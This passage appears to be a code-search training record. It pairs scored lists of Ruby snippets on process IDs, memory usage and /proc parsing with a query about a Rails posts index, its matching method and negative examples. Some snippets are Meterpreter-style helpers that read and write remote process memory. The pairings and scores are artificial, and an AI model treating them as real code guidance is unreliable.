"def current_proc_used_mem\n #pid, size = `ps ax -o pid,rss | grep -E \"^[[:space:]]*#{$$}\"`.strip.split.map(&:to_i)\n #`ps -o rss -p #{$$}`.chomp.split(\"\\n\").last.to_i\n #`ps -o rss -p #{$$}`.strip.split.last.to_i * 1024\n `ps -o rss= -p #{Process.pid}`.to_i \nend",
"def get_process_memory(pid)\n case @platform ||= Gem::Platform.local.os\n when \"linux\"\n begin\n file = Pathname.new \"/proc/#{pid}/smaps\"\n return 0 unless file.exist?\n\n lines = file.each_line.select { |line| line.match(/^Pss/) }\n return 0 if lines.empty?\n\n lines.reduce(0) do |sum, line|\n line.match(/(?<value>(\\d*\\.{0,1}\\d+))\\s+(?<unit>\\w\\w)/) do |m|\n sum += m[:value].to_i\n end\n\n sum\n end\n rescue Errno::EACCES\n 0\n end\n when \"darwin\"\n mem = `ps -o rss= -p #{pid}`.strip\n mem.empty? ? 0 : mem.to_i\n else\n raise \"Can't check process memory, wrong type of platform: #{@platform}\"\n end\n end",
"def pid; ::Process.pid end",
"def get_current_memory_usage\n `ps -o rss= -p #{Process.pid}`.to_i\nend",
"def read(off, sz=4096); Ragweed::Wrap32::read_process_memory(@h, off, sz); end",
"def get_memory_usage\n `ps -o rss= -p #{Process.pid}`.to_i\nend",
"def get_memory_usage\n `ps -o rss= -p #{Process.pid}`.to_i\nend",
"def pid_memory\n file_format.pids[self[:pid]] ||= { :last_memory_reading => -1, :current_memory_reading => -1 }\n end",
"def parent_pid(pid)\n\tstat = File.open(\"/proc/#{pid}/stat\") { |i| i.read }\n\tstat.gsub!(/^.*\\)\\s.\\s/, '')\n\tstat.split[0].to_i\nend",
"def pid\n @pid ||= Process.pid\n end",
"def get_mem_usage( pid )\n\tp = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )\n\tif( p )\n\t\tbegin\n\n\t\t\tif( not @client.railgun.get_dll( 'psapi' ) )\n\t\t\t\[email protected]_dll( 'psapi' )\n\t\t\tend\n\n\t\t\t# http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx\n\t\t\tif( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] )\n\t\t\t\[email protected]_function( 'GetProcessMemoryInfo', 'BOOL', [\n\t\t\t\t\t[ \"HANDLE\", \"hProcess\", \"in\" ],\n\t\t\t\t\t[ \"PBLOB\", \"ProcessMemoryCounters\", \"out\" ],\n\t\t\t\t\t[ \"DWORD\", \"Size\", \"in\" ]\n\t\t\t\t\t]\n\t\t\t\t)\n\t\t\tend\n\n\t\t\tr = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )\n\t\t\tif( r['return'] )\n\t\t\t\tpmc = r['ProcessMemoryCounters']\n\t\t\t\t# unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx)\n\t\t\t\t# Note: As we get the raw structure back from railgun we need to account\n\t\t\t\t# for SIZE_T variables being 32bit on x86 and 64bit on x64\n\t\t\t\tmem = nil\n\t\t\t\tif( @client.platform =~ /win32/ )\n\t\t\t\t\tmem = pmc[12..15].unpack('V').first\n\t\t\t\telsif( @client.platform =~ /win64/ )\n\t\t\t\t\tmem = pmc[16..23].unpack('Q').first\n\t\t\t\tend\n\t\t\t\treturn (mem/1024)\n\t\t\tend\n\t\trescue\n\t\t\tp \"Exception - #{$!}\"\n\t\tend\n\n\t\tp.close\n\tend\n\n\treturn nil\nend",
"def pid\n File.open( pid_path ) { |f| return f.gets.to_i } if File.exist?(pid_path)\n end",
"def ppid\n Process.ppid\n end",
"def ps_cmd(pid)\n case RbConfig::CONFIG['arch']\n when /solaris|bsd/\n `ps -o comm,ppid -p #{pid}`\n when /linux/\n `ps -o cmd,ppid #{pid}`\n else\n raise 'UnknownOS'\n end.split(\"\\n\").last.split\nend",
"def get_process_stat\n self.get_all_pid.each do |pid|\n uid = self.get_uid_of_pid(pid)\n username = Etc::getpwuid(uid).name\n\n statline = IO.read(\"/proc/#{pid}/stat\")\n stat = statline.split(' ')\n #time = stat[13].to_i+stat[14].to_i+stat[15].to_i+stat[16].to_i\n time = stat[13].to_i+stat[14].to_i\n if ([email protected]_key?(username))\n @currprocstat[username] = 0\n end\n @currprocstat[username] = @currprocstat[username] + time \n\n iowait = stat[41].to_i\n if ([email protected]_key?(username))\n @currprociowait[username] = 0\n end\n @currprociowait[username] += iowait\n end\n end",
"def read_pid\n File.read(pid_path).to_i\n end",
"def read_pid\n File.read(pid_path).to_i\n end",
"def read(base, length)\n request = Packet.create_request(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_READ)\n\n request.add_tlv(TLV_TYPE_HANDLE, process.handle)\n request.add_tlv(TLV_TYPE_BASE_ADDRESS, base)\n request.add_tlv(TLV_TYPE_LENGTH, length)\n\n response = process.client.send_request(request)\n\n return response.get_tlv_value(TLV_TYPE_PROCESS_MEMORY)\n end",
"def get_pid\n File.open(@lock_file, 'r').read.to_i\n end",
"def rss_bytes\n if ENV['OS'] == 'Windows_NT'\n 0\n else\n `ps -o rss= -p #{Process.pid}`.to_i # in kilobytes\n end\n end",
"def get_pid\n pid_file = File.join(PROXYFS_ROOT, \"tmp/proxyfs.pid\")\n\n return File.read(pid_file).to_i if File.exists?(pid_file)\n\n return nil\nend",
"def pid\n @pid ||= Process.pid\n end",
"def pid\n @pid ||= Process.pid\n end",
"def get_pid\n\t\tEventMachine::get_subprocess_pid @signature\n\tend",
"def determine_private_dirty_rss(pid)\n total = 0\n File.read(\"/proc/#{pid}/smaps\").split(\"\\n\").each do |line|\n line =~ /^(Private)_Dirty: +(\\d+)/\n if $2\n total += $2.to_i\n end\n end\n if total == 0\n return nil\n else\n return total\n end\n rescue Errno::EACCES, Errno::ENOENT\n return nil\n end",
"def get_real_pid\n raise RuntimeError.new(\"Unsupported platform: get_real_pid\") unless @is_linux\n v = File.open(\"/proc/#{Process.pid}/sched\", &:readline)\n v.match(/\\d+/).to_s.to_i\n end",
"def collect_process_info\n process = {}\n cmdline_file = \"/proc/#{Process.pid}/cmdline\"\n\n # If there is a /proc filesystem, we read this manually so\n # we can split on embedded null bytes. Otherwise (e.g. OSX, Windows)\n # use ProcTable.\n if File.exist?(cmdline_file)\n cmdline = IO.read(cmdline_file).split(?\\x00)\n else\n cmdline = ProcTable.ps(Process.pid).cmdline.split(' ')\n end\n\n if RUBY_PLATFORM =~ /darwin/i\n cmdline.delete_if{ |e| e.include?('=') }\n process[:name] = cmdline.join(' ')\n else\n process[:name] = cmdline.shift\n process[:arguments] = cmdline\n end\n\n process[:pid] = Process.pid\n # This is usually Process.pid but in the case of containers, the host agent\n # will return to us the true host pid in which we use to report data.\n process[:report_pid] = nil\n process\n end",
"def daemon_process\n pid = nil\n Sys::ProcTable.ps do |process|\n if process.cmdline =~ /#{__FILE__}/ and process.pid != Process.pid\n pid = process.pid\n break\n end\n end\n pid\nend",
"def write_pid; end",
"def handle_syscall(number, args)\r\n case number\r\n when 1 # write\r\n fd = args[0]\r\n pos = args[1]\r\n size = args[2]\r\n if fd == 1 # stdout\r\n data = @mem.read(pos, size)\r\n print data.pack(\"C*\")\r\n syscall_return size\r\n else\r\n raise \"not implemented fd: %d\" % fd\r\n end\r\n when 10 # mprotect\r\n @cpu.rcx = 0x5296cb\r\n @cpu.r11 = 0x306\r\n syscall_return 0\r\n when 12 # brk\r\n if args[0] > 0\r\n @brk = args[0]\r\n end\r\n @cpu.rcx = 0x54a2ab\r\n case args[0]\r\n when 0x5fa200\r\n @cpu.r11 = 0x346\r\n when 0x5fb000\r\n @cpu.r11 = 0x346\r\n end\r\n syscall_return @brk\r\n when 60 # exit\r\n puts \"exit code: %d\" % args[0]\r\n @cpu.stopped = true\r\n when 63 # uname\r\n addr = args[0]\r\n len = 65\r\n\r\n @mem.write(addr, [0] * (len * 5))\r\n\r\n @mem.write_unterminated_string(addr, \"Linux\")\r\n @mem.write_unterminated_string(addr + len, \"vk-VirtualBox\")\r\n @mem.write_unterminated_string(addr + len * 2, \"5.1.0-43-generic\")\r\n @mem.write_unterminated_string(addr + len * 3, \"#47~20.04.2-Ubuntu SMP Mon Dec 13 11:06:56 UTC 2021\")\r\n @mem.write_unterminated_string(addr + len * 4, \"x86_64\")\r\n\r\n @cpu.rcx = 0x54a05b\r\n syscall_return 0\r\n when 89\r\n pathname, buf, bufsiz = args\r\n if bufsiz <= 0\r\n syscall_return -EINVAL\r\n return\r\n end\r\n link_bytes = Pointer.new(@mem, args[0], 1000).read\r\n link = link_bytes.map{|ch| ch.chr }.join.unpack('Z*').first\r\n begin\r\n if link == \"/proc/self/exe\"\r\n target = @cpu.file\r\n else\r\n target = File.readlink(link)\r\n end\r\n ret = target.length\r\n target += \"\\0\"\r\n target = target[0, args[2]]\r\n @mem.write_unterminated_string(args[1], target)\r\n @cpu.rcx = 0x554993\r\n syscall_return ret\r\n rescue\r\n syscall_return -ENOENT\r\n end\r\n when 102, 104, 107, 108 # getuid, getgid, geteuid, getegid\r\n syscall_return 1000 # default UID of the first user on Ubuntu\r\n when 158\r\n code = args[0]\r\n case code\r\n when 0x1002\r\n @cpu.fs = args[1]\r\n @cpu.rcx = 0x4a8fe7\r\n @cpu.r11 = 0x302\r\n syscall_return 0\r\n when 0x3001\r\n @cpu.rcx = 0x4a86ef\r\n @cpu.r11 = 0x346\r\n syscall_return -EINVAL\r\n else\r\n raise \"Not implemented. Code = 0x%x\" % code\r\n end\r\n else\r\n raise \"syscall not implemented: %d (0x%x)\" % [number, number]\r\n end\r\n end",
"def process_id\n\n\t\t::Pantheios::Core.process_id\n\tend",
"def memory_usage \n\t`ps -o rss= -p #{Process.pid}`.to_i # in kilobytes \nend",
"def pid\n $PROCESS_ID\n end",
"def service_pid\n _pid_file_pid\n end",
"def usage_by_ps\n memory = cmd(\"ps -o rsz #{process}\").split(\"\\n\")[1].to_f / 1.kilobyte\n return nil if memory <= 0\n\n memory\n end",
"def pid() end",
"def pid() end",
"def pid() end",
"def cmd_from_pid(pid)\n\tcmd = File.open(\"/proc/#{pid}/cmdline\") { |i| i.read }.split(/\\0/)\nend",
"def getpid\n @resource.fail \"Either stop/status commands or a pattern must be specified\" unless @resource[:pattern]\n ps = Facter[\"ps\"].value\n @resource.fail \"You must upgrade Facter to a version that includes 'ps'\" unless ps and ps != \"\"\n regex = Regexp.new(@resource[:pattern])\n self.debug \"Executing '#{ps}'\"\n IO.popen(ps) { |table|\n table.each_line { |line|\n if regex.match(line)\n ary = line.sub(/^\\s+/, '').split(/\\s+/)\n return ary[1]\n end\n }\n }\n\n nil\n end",
"def memory_usage\n return File.read('/proc/self/status').match(/VmRSS:\\s+(\\d+)/)[1].to_i * 1024\nend",
"def get_pid(proc_name)\n processes = client.sys.process.get_processes\n processes.each do |proc|\n if proc['name'] == proc_name && proc['user'] != \"\"\n return proc['pid']\n end\n end\n return nil\n end",
"def get_pid\n File.exists?(@pid_file) ? File.read(@pid_file).strip : 0\n end",
"def proc_meminfo\n\n unless defined?(@proc_meminfo)\n\n @proc_meminfo = {}\n\n meminfo = IO.readlines('/proc/meminfo')\n meminfo.each do |meminfo_line|\n\n pairs = meminfo_line.strip.split(':', 2)\n key = pairs[0].strip\n value = pairs[1].strip\n\n # Remove \"kB\" from the value and multiply it by 1024.\n value = value.to_i * 1024\n\n @proc_meminfo[key] = value\n\n end\n\n end\n @proc_meminfo\n\n end",
"def _pid\n @@_pid ||= Process.pid\n end",
"def pid; end",
"def pid; end",
"def pid; end",
"def meminfo\n File.read(\"/proc/meminfo\").split(\"\\n\").map{ |f| f.split(':') }\n .map{ |name, value| [name, value.to_i / 1024.0] }.to_h\nrescue\n {}\nend",
"def write(base, data)\n request = Packet.create_request(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_WRITE)\n\n request.add_tlv(TLV_TYPE_HANDLE, process.handle)\n request.add_tlv(TLV_TYPE_BASE_ADDRESS, base)\n request.add_tlv(TLV_TYPE_PROCESS_MEMORY, data)\n\n response = process.client.send_request(request)\n\n return response.get_tlv_value(TLV_TYPE_LENGTH)\n end",
"def rss_proc\n kb = File.read('/proc/self/status').match(/VmRSS:\\s+(\\d+)/)[1].to_i\n\n return kb * 1024\n end",
"def report_pid\n @process[:report_pid]\n end",
"def read_process_memory(h, ptr, len)\r\n val = \"\\x00\" * len\r\n r = CALLS[\"kernel32!ReadProcessMemory:LLPLL=L\"].call(h, ptr.to_i, val, len, NULL)\r\n raise WinX.new(:read_process_memory) if r == 0\r\n return val ## don't handle short reads XXX\r\n end",
"def getpid\n CALLS[\"libc!getpid:=I\"].call.first\n end",
"def pid\n process_pid = ::Process.pid\n if @ppid != process_pid\n @pid = nil\n @ppid = process_pid\n end\n @pid ||= SecureRandom.urlsafe_base64.tap { |str| @prefix_len = str.length }\n end",
"def ps\n `ps haxo pid,ppid,cmd`\n end",
"def os_x_raw_ps\n\t\t`COLUMNS=9999 ps ax -o \"pid uid ppid rss cpu command\"`\n\tend",
"def os_x_raw_ps\n\t\t`COLUMNS=9999 ps ax -o \"pid uid ppid rss cpu command\"`\n\tend",
"def pid\n File.read(@pid_file).strip.to_i\n end",
"def get_real_pid\n raise RuntimeError.new(\"Unsupported platform: get_real_pid\") unless @is_linux\n\n sched_file = \"/proc/#{Process.pid}/sched\"\n pid = Process.pid\n\n if File.exist?(sched_file)\n v = File.open(sched_file, &:readline)\n pid = v.match(/\\d+/).to_s.to_i\n end\n pid\n end",
"def pid\n File.read(@pid_file).to_i\n end",
"def pid_from_window(id)\n\tIO.popen(_net_wm(id)) { |p| p.readline.chomp }.split[2].to_i\nend",
"def processes\n\t\tif ::File.directory? \"/proc\"\n\t\t\tresolve_unix_uids(linux_processes)\n\t\telsif ::File.directory? \"C:/WINDOWS\"\n\t\t\twindows_processes\n\t\telse\n\t\t\tos_x_processes\n\t\tend\n\tend",
"def pid(*) end",
"def read_proc_file(file)\n\t\tdata = ::File.read(file).split(\" \")\n\t\tuid = ::File.stat(file).uid\n\t\tpid = data[0]\n\t\tcommand = data[1].match(/^\\((.*)\\)$/)[1]\n\t\tcmdline = ::File.read(\"/proc/#{pid}/cmdline\").gsub(/\\0/, ' ')\n\t\tparent_pid = data[3].to_i\n\t\tutime = data[13].to_i\n\t\tktime = data[14].to_i\n\t\tvss = data[22].to_i / 1024\n\t\trss = data[23].to_i * 4\n\t\ttime = utime + ktime\n\n\t\t{\n\t\t\t:pid => pid,\n\t\t\t:uid => uid,\n\t\t\t:command => command,\n\t\t\t:cmdline => cmdline,\n\t\t\t:parent_pid => parent_pid,\n\t\t\t:mem => rss,\n\t\t\t:cpu => time,\n\t\t}\n\tend",
"def read_proc_file(file)\n\t\tdata = ::File.read(file).split(\" \")\n\t\tuid = ::File.stat(file).uid\n\t\tpid = data[0]\n\t\tcommand = data[1].match(/^\\((.*)\\)$/)[1]\n\t\tcmdline = ::File.read(\"/proc/#{pid}/cmdline\").gsub(/\\0/, ' ')\n\t\tparent_pid = data[3].to_i\n\t\tutime = data[13].to_i\n\t\tktime = data[14].to_i\n\t\tvss = data[22].to_i / 1024\n\t\trss = data[23].to_i * 4\n\t\ttime = utime + ktime\n\n\t\t{\n\t\t\t:pid => pid,\n\t\t\t:uid => uid,\n\t\t\t:command => command,\n\t\t\t:cmdline => cmdline,\n\t\t\t:parent_pid => parent_pid,\n\t\t\t:mem => rss,\n\t\t\t:cpu => time,\n\t\t}\n\tend",
"def report_pid\n @process[:report_pid]\n end",
"def get_ps_info args={}, &block\n return if OS.windows?\n\n pid = args[:pid]\n\n EM.system('sh', proc{ |process|\n process.send_data \"ps auxw | grep \" + pid.to_s + \" | grep -v 'grep'\\n\"\n process.send_data \"exit\\n\"\n }) { |output, status|\n if status.exitstatus == 0\n format args, output, &block\n else\n block.call status, nil if block\n end\n }\n end",
"def usage_by_proc\n return nil unless File.exist? proc_status_file\n\n proc_status = File.open(proc_status_file, \"r\") { |f| f.read_nonblock(4096).strip }\n if (m = proc_status.match(/RSS:\\s*(\\d+) kB/i))\n m[1].to_f / 1.kilobyte\n end\n end",
"def call\n `ps -o rss -p #{@pid}`.split(\"\\n\").last.to_i\n end",
"def process\n return @args[:process]\n end",
"def sysload\n sysmem = 0\n # the pops here is to not include the two \"process\" found with ps the command itself which are gone by time pmap occurs\n pid_array = `ps -ef | grep java`.split(/\\n/)\n pid_array.each do |jproc|\n if jproc.match(/script\\/server/)\n pid = jproc.match(/.+?([0-9]+)/)[1].to_i #pid\n sysmem += (`pmap #{pid} | tail -1`[10,40].strip.gsub!(\"K\",\"\").to_f*100.0) / (1024* `free -mt`.match(/Mem:\\s*([0-9]+)/)[1].to_f)\n end\n end\n\n render :text => sysmem\n end",
"def pid\n @pid ||= down? ? nil : @raw[2]\n end",
"def pid\n end",
"def read_fd\n if Process.pid == @host_pid\n @from_container\n else\n @from_host\n end\n end",
"def host_memory\n case RbConfig::CONFIG['host_os']\n when /darwin/\n Integer(`sysctl -n hw.memsize`.to_i / 1024 / 1024)\n when /linux/\n Integer(`grep 'MemTotal' /proc/meminfo | sed -e 's/MemTotal://' -e 's/ kB//'`.to_i / 1024)\n else\n Integer(`wmic ComputerSystem get TotalPhysicalMemory`.split(\"\\n\")[2].to_i / 1024 / 1024)\n end\nend",
"def lsof\n Dir.new(\"/proc/#{Process.pid}/fd/\").entries\n end",
"def rss_ps\n kb = `ps -o rss= #{Process.pid}`.strip.to_i\n\n return kb * 1024\n end",
"def process_id\n return @process_id\n end",
"def pid\n return @pid unless @pid.nil?\n\n @pid = (open(pidpath, 'r').read.to_i if pidfile_exists?)\n end",
"def get_rss_usage()\n rss = 0\n open(\"/proc/#{Process.pid}/status\").each do |line|\n if line.start_with?(\"Rss\")\n pieces = line.split\n rss += pieces[1].to_i\n end\n end\n rss\nend",
"def pid\n @pid ||= metadata.fetch(@args.command, nil)\n end",
"def pid\n @__pid\n end",
"def pid(params)\n Felixwrapper.configure(params)\n pid = Felixwrapper.instance.pid\n return nil unless pid\n pid\n end",
"def pid_file\n base_info_file + '.pid'\n end",
"def bytesize\n @fd.stat.size\n end",
"def pid()\n #This is a stub, used for indexing\n end",
"def list_pids\n access_processes do |processes|\n processes.keys\n end\n end",
"def pid=(_arg0); end",
"def test_s_pid\n assert_instance_of(Fixnum, Process.pid)\n assert_equal($$, Process.pid)\n IO.popen(\"-\") do |pipe|\n if !pipe\n puts Process.pid\n puts Process.ppid\n exit\n end\n assert_equal(pipe.pid, pipe.gets.to_i)\n assert_equal(Process.pid, pipe.gets.to_i)\n pipe.close\n end\n end",
"def pid\n return @pid if @pid_set\n @pid = File.readlines(pid_file).first.strip.to_i if File.exist?(pid_file)\n @pid ||= 0\n @pid_set = true\n @pid\n end",
"def physical_memory_info\n\n if PlatformInfo.linux?\n\n {\n :total => proc_meminfo['MemTotal'],\n :used => proc_meminfo['MemTotal'] - proc_meminfo['MemFree'],\n :cached => proc_meminfo['Cached'],\n :free => proc_meminfo['MemFree'] \n }\n\n elsif PlatformInfo.osx?\n\n hw_memsize = capture_command_output('sysctl', 'hw.memsize')[0]\n total_memory = hw_memsize.split(':')[1].strip.to_i\n\n # Parse the header information produced by top -l 1 to figure out the\n # physical memory stats.\n top = capture_command_output('top', '-l', '1')\n top_phys_mem = top.select { |t| t =~ /^PhysMem\\:/ }.first.strip.gsub(/^PhysMem\\:\\s+/, '')\n top_phys_mem_pairs = top_phys_mem.split(',')\n\n phys_mem = {}\n top_phys_mem_pairs.each do |top_phys_mem_pair|\n items = top_phys_mem_pair.strip.split(/\\s+/)\n key = items[1].gsub(/\\W/, '')\n value = items[0].to_i * 1024 * 1024 # Convert MB to bytes\n phys_mem[key] = value\n end\n\n {\n :total => total_memory,\n :used => phys_mem['used'],\n :free => phys_mem['free']\n }\n\n else\n unsupported_platform\n end\n\n end",
"def windows_processes\n\t\trequire 'win32ole'\n\t\twmi = WIN32OLE.connect(\"winmgmts://\")\n\t\twmi.ExecQuery(\"select * from win32_process\").map do |proc_info|\n\t\t\tparse_oleprocinfo(proc_info)\n\t\tend\n\tend",
"def windows_processes\n\t\trequire 'win32ole'\n\t\twmi = WIN32OLE.connect(\"winmgmts://\")\n\t\twmi.ExecQuery(\"select * from win32_process\").map do |proc_info|\n\t\t\tparse_oleprocinfo(proc_info)\n\t\tend\n\tend",
"def get_children_process(pid)\n\t`ps --ppid #{pid} | grep -v PID | awk '{print $1}'`.split(\"\\n\")\n\t#Could not find a Ruby way to do this\nend",
"def read_output(pid)\n access_processes do |processes|\n File.read(processes[pid].io.stdout.path) rescue nil \n end\n end",
"def pid\n `cat #{pid_file_path}`.gsub(\"\\n\", \"\")\n end",
"def find_procname(pid)\n\tname = nil\n\[email protected]_processes.each do |proc|\n\t\tif proc['pid'] == pid.to_i\n\t\t\tname = proc['name']\n\t\tend\n\tend\n\treturn name\nend",
"def process_id\n attributes.fetch(:processId)\n end",
"def pid\n @pid\n end"
] | [
"0.6906598",
"0.6768117",
"0.65414405",
"0.63869137",
"0.6370739",
"0.635648",
"0.63547426",
"0.62939173",
"0.6222233",
"0.6195584",
"0.6146317",
"0.61278117",
"0.61239326",
"0.6122102",
"0.6067677",
"0.6046345",
"0.6046345",
"0.602877",
"0.6022213",
"0.5993502",
"0.59912866",
"0.5979302",
"0.5979302",
"0.59782124",
"0.59692556",
"0.59571534",
"0.5943463",
"0.5935574",
"0.5904248",
"0.5897787",
"0.58960456",
"0.58960396",
"0.58904815",
"0.58770686",
"0.5842998",
"0.5842001",
"0.5842001",
"0.5842001",
"0.58361375",
"0.5822224",
"0.5819496",
"0.58162946",
"0.5812413",
"0.5799154",
"0.57772076",
"0.57732236",
"0.57732236",
"0.57732236",
"0.5770294",
"0.5757339",
"0.5753221",
"0.5751474",
"0.5738908",
"0.57270163",
"0.5708893",
"0.56989163",
"0.5694113",
"0.5694113",
"0.5665129",
"0.5649626",
"0.5649068",
"0.5628613",
"0.55973536",
"0.5571683",
"0.55689925",
"0.55689925",
"0.5566585",
"0.5557196",
"0.55454147",
"0.5541592",
"0.55395377",
"0.5539065",
"0.5537233",
"0.5521856",
"0.5499985",
"0.5493113",
"0.5489949",
"0.5476988",
"0.5476254",
"0.5476166",
"0.5470456",
"0.54542357",
"0.54541355",
"0.54537773",
"0.5444711",
"0.53956676",
"0.53857875",
"0.53828025",
"0.53792715",
"0.5367143",
"0.53597236",
"0.5357606",
"0.534817",
"0.534817",
"0.53441393",
"0.5342787",
"0.5342632",
"0.5328882",
"0.5326369",
"0.5325316"
] | 0.5928532 | 28 |
GET /posts GET /posts.json | def index
@posts = Post.all.paginate(page: params[:page], per_page: 10).order('created_at DESC')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def index\n render json: Post.all\n end",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def show\n render json: @post\n end",
"def show\n render json: @post\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def show\n render :json => @post\n end",
"def get(options = EMPTY_HASH)\n parameters = Specification.new(\n tag: Types::Tags,\n dt: Types::Time,\n url: Types::URL,\n meta: Types::Boolean\n ).parameters(options)\n posts_from client.get(\"/posts/get\", parameters)\n end",
